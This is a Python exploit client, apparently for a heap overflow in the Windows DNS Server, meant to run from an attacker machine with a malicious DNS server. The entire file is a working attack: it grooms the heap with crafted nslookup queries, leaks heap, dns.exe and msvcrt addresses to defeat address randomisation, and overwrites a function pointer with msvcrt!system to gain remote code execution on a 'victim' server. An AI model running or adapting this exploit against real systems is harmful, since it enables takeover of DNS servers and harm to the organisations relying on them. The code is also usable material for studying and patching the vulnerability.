#!/usr/bin/env python

# Run on the Linux attacker box to start the exploit after starting the evildns server. It is the client part of the attack.

import os
import time
import base64
import random
import string
import struct
import argparse

from offsets import dnsoffsets
from offsets import vcrtoffsets 


subdomain = ['dw', 'dx', 'dy', 'dz', 'd0', 'd1', 'd2', 'd3']
FREELIST_MAX = 3333


def sleepz(secs):
    slept = 0
    while slept <= secs:
        if((slept % 5) == 0) or (slept == secs):
            print(slept, end='', flush=True)
        else:
            print('.', end='', flush=True)
        time.sleep(1)
        slept += 1
    print('')


def genRandom(num, slen):
    unique_strings = []
    while len(unique_strings) < num:
        ustring = ''.join(random.choice(string.ascii_lowercase + string.ascii_lowercase + string.digits) for i in range(slen))
        if ustring not in unique_strings:
            unique_strings.append(ustring)
    return unique_strings


def nslookup(ltype, subdomain, domain, ip, pipe_to):
    os.system('nslookup -type=' + ltype + ' -retry=0 9.' + subdomain + '.' + domain + ' ' + ip + ' > '  + pipe_to)


def parsePacket(responseStr):
    packetBytesStr = ''

    byte_start = responseStr.find('bytes\n')
    indx = byte_start + 6
    while indx < len(responseStr):
        packetBytesStr += responseStr[indx:indx+47] + ' '
        indx += 74
    packetBytes = bytearray.fromhex(packetBytesStr)
    return packetBytes
    

def do_rce(windows_ip, domain):

    unique_strings = genRandom(28, 3)
    print('[!] grooming small buffer size freelist')

    for x in range(14):
        nslookup('ns', unique_strings[x], domain, windows_ip, '/dev/null')

    for n in range(FREELIST_MAX):
        nslookup('sig', str(n) + 'lol', domain, windows_ip, '/dev/null')

    print('Waiting for small cached records to be freed')
    sleepz(163)

    spray_vals = string.ascii_lowercase + string.digits
    
    print('[!] doing DNS record heap spray')

    for n in range(FREELIST_MAX):
        nslookup('sig', str(n) + 'lol', domain, windows_ip, '/dev/null')

    for spray_val_1 in spray_vals:
        for spray_val_2 in spray_vals:
            nslookup('sig', spray_val_1 + spray_val_2, domain, windows_ip, '/dev/null')

    print('[!] waiting for target subdomain record to be freed')
    sleepz(123)

    print('[!] triggering realloc and overflow')
    nslookup('sig', subdomain[0], domain, windows_ip, '/dev/null')

    print('[!] triggering free for fake timeout object')
    nslookup('sig', subdomain[6], domain, windows_ip, '/dev/null')

    print('[!] triggering timeout object allocations')

    for x in range(14, 21):
        nslookup('ns', unique_strings[x], domain, windows_ip, '/dev/null')

    print('[!] triggering frees for heap ptr leak')

    nslookup('sig', subdomain[7], domain, windows_ip, '/dev/null')
    nslookup('sig', subdomain[4], domain, windows_ip, '/dev/null')

    print('[!] triggering heap ptr leak')
    nslookup('sig', subdomain[3], domain, windows_ip, 'heapleakb64')
    
    with open('heapleakb64', 'r') as f:
        hl64 = f.read()

        # some versions of nslookup don't like malformed responses and dump the packet bytes instead.
        if hl64.find('Got bad packet') != -1:
            data_bytes = parsePacket(hl64)
            # find FreeTag, leaked heap address precedes it
            indx = data_bytes.find(b'\xEF\x0B\x0B\xFE\xEF\x0B\x0B\xFE')
            heap_ptr = struct.unpack('<Q', data_bytes[indx-8:indx])[0]
            heap_ptr += 0x10
        else:
             sigs = hl64[hl64.find('signature'):].split()
             hl64_bytes = sigs[11].encode('ascii')
             data_bytes = base64.b64decode(hl64_bytes)
             # bytes 33-41 leak an address to the heap we control
             heap_ptr = struct.unpack('<Q', data_bytes[33:41])[0]
             # increment address by the size of WINDNS_BUFF (buffer header structure describing the WINDNS buffer.)
             heap_ptr += 0x10
        
        print('[+] controllable heap addr: 0x%lx' % heap_ptr)
        with open('heapleak', 'wb') as f2:
            f2.write(struct.pack('<Q', heap_ptr))

    print('[!] waiting for timeout object allocation')
    sleepz(123)

    print('[!] triggering dns!RR_Free addr leak')
    nslookup('sig', subdomain[5], domain, windows_ip, 'dnsleakb64')
    
    with open('dnsleakb64') as f:
        dnsl64 = f.read()

        # some versions of nslookup don't like malformed responses and dump the packet bytes instead.
        if dnsl64.find('Got bad packet') != -1:
            data_bytes = parsePacket(dnsl64)
            # find pNextFreeBuff NotFree tag, leaked dns.exe addrs follow two heap ptrs
            indx = data_bytes.find(b'\xEF\x0C\x0C\x0C\x0C\x0C\x0C\xFE')
            rrfree = struct.unpack('<Q', data_bytes[indx+24:indx+32])[0]
            dnstr = struct.unpack('<Q', data_bytes[indx+32:indx+40])[0]
        else:
            sigs = dnsl64[dnsl64.find('signature'):].split()
            dnsl64_bytes = sigs[12].encode('ascii')
            data_bytes = base64.b64decode(dnsl64_bytes)
            # bytes 15-23 leak the address of dns!RR_Free 
            rrfree  = struct.unpack('<Q', data_bytes[15:23])[0]
            # bytes 23-31 leak the address of a dns!`string`
            dnstr = struct.unpack('<Q', data_bytes[23:31])[0]
        
        dnsoff = dnsoffsets.get((rrfree & 0xFFF, dnstr & 0xFFF))
        if dnsoff is None:
            print('[-] Could not find dns offsets!')
            os._exit(0)
        # find offset of dns.exe functions based on leaked addresses 
        if type(dnsoff) is list:
            idx = input('[!] There is a collision in available offsets based on leaked address, which set of offsets would you like'\
                        'to try? Pick a number between 1-%i\n' % len(dnsoff))
            dnsoffs = dnsoff[int(idx)-1]
        else:
            dnsoffs = dnsoff
            
        dnsbase = rrfree - dnsoffs[0]
        nsecdns = dnsbase + dnsoffs[1]
        dnsimpexit= dnsbase + dnsoffs[2]

        print('[+] dns!NsecDnsRecordConvert addr: 0x%lx' % nsecdns)
        print('[+] dns!_imp_exit addr: 0x%lx' % dnsimpexit)

        with open('dnsleak', 'wb') as f2:
            f2.write(struct.pack('<Q', nsecdns))
            f2.write(struct.pack('<Q', dnsimpexit))

    print('[!] triggering overflow again to overwrite timeout object pFreeFunction ptr')
    nslookup('sig', subdomain[0], domain, windows_ip, '/dev/null')

    print('[!] triggering free for fake timeout obj')
    nslookup('sig', subdomain[5], domain, windows_ip, '/dev/null')

    print('[!] triggering timeout object allocations')
    for x in range(21, 28):
        nslookup('ns', unique_strings[x], domain, windows_ip, '/dev/null')
    
    print('[!] waiting for dns!NsecDnsRecordConvert to be called')
    sleepz(123)

    print('[!] triggering msvcrt!exit addr leak')
    nslookup('sig', subdomain[3], domain, windows_ip, 'exitleakb64')

    with open('exitleakb64') as f:
        exitlb64 = f.read()

        # some versions of nslookup don't like malformed responses and dump the packet bytes instead.
        if exitlb64.find('Got bad packet') != -1:
            data_bytes = parsePacket(exitlb64)
            # find pNextFreeBuff NotFree tag, leaked msvcrt addr at position 33 in leaked WINDNS_BUFF
            indx = data_bytes.find(b'\xEF\x0C\x0C\x0C\x0C\x0C\x0C\xFE')
            pexit = struct.unpack('<Q', data_bytes[indx+33:indx+41])[0]
        else:
            sigs = exitlb64[exitlb64.find('signature'):].split()
            exitlb64_bytes = sigs[12].encode('ascii')
            data_bytes = base64.b64decode(exitlb64_bytes)
            # bytes 24-32 leak the address of msvcrt!exit 
            pexit = struct.unpack('<Q', data_bytes[24:32])[0]

        vcrtoff = vcrtoffsets.get(pexit & 0xFFF)
        # find offset of msvcrt!system based on leaked address
        if vcrtoff is None:
            print('[-] Could not find msvcrt offsets!')
            os._exit(0)

        if type(vcrtoff) is list:
            idx = input('[!] There is a collision in available offsets based on leaked address, which set of offsets would you like'\
                        'to try? Pick a number between 1-%i\n' % len(vcrtoff))
            vcrtoffs =vcrtoff[int(idx)-1]
        else:
            vcrtoffs = vcrtoff

        msvcrtbase = pexit - vcrtoffs[0]
        msvcrtsystem = msvcrtbase + vcrtoffs[1]

        print('[+] msvcrt!system addr: 0x%lx' % msvcrtsystem)

        with open('sysleak', 'wb') as f2:
            f2.write(struct.pack('<Q', msvcrtsystem))

    print('[!] triggering overflow again to overwrite timeout object pFreeFunction ptr - msvcrt!system')
    nslookup('sig', subdomain[0], domain, windows_ip, '/dev/null')
    
    print('[!] waiting for msvcrt!system to be called, then RCE! ^.^')
    sleepz(123)
    
    print('[*~*] should have RCE now???')


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-ip', help='ip address of victim Windows DNS server', required=True)
    parser.add_argument('-d', '--domain', help='malicious domain name', required=True)
    args = parser.parse_args()

    if len(args.domain) > 15:
        print('Domain length must be 15 characters or less')
        os._exit(0)

    os.system('rm heapleakb64 > /dev/null 2>&1')
    os.system('rm heapleak > /dev/null 2>&1')
    os.system('rm dnsleakb64 > /dev/null 2>&1')
    os.system('rm dnsleak > /dev/null 2>&1')
    os.system('rm exitleakb64 > /dev/null 2>&1')
    os.system('rm sysleak > /dev/null 2>&1')
    
    do_rce(args.ip, args.domain)


if __name__ == '__main__':
    main()
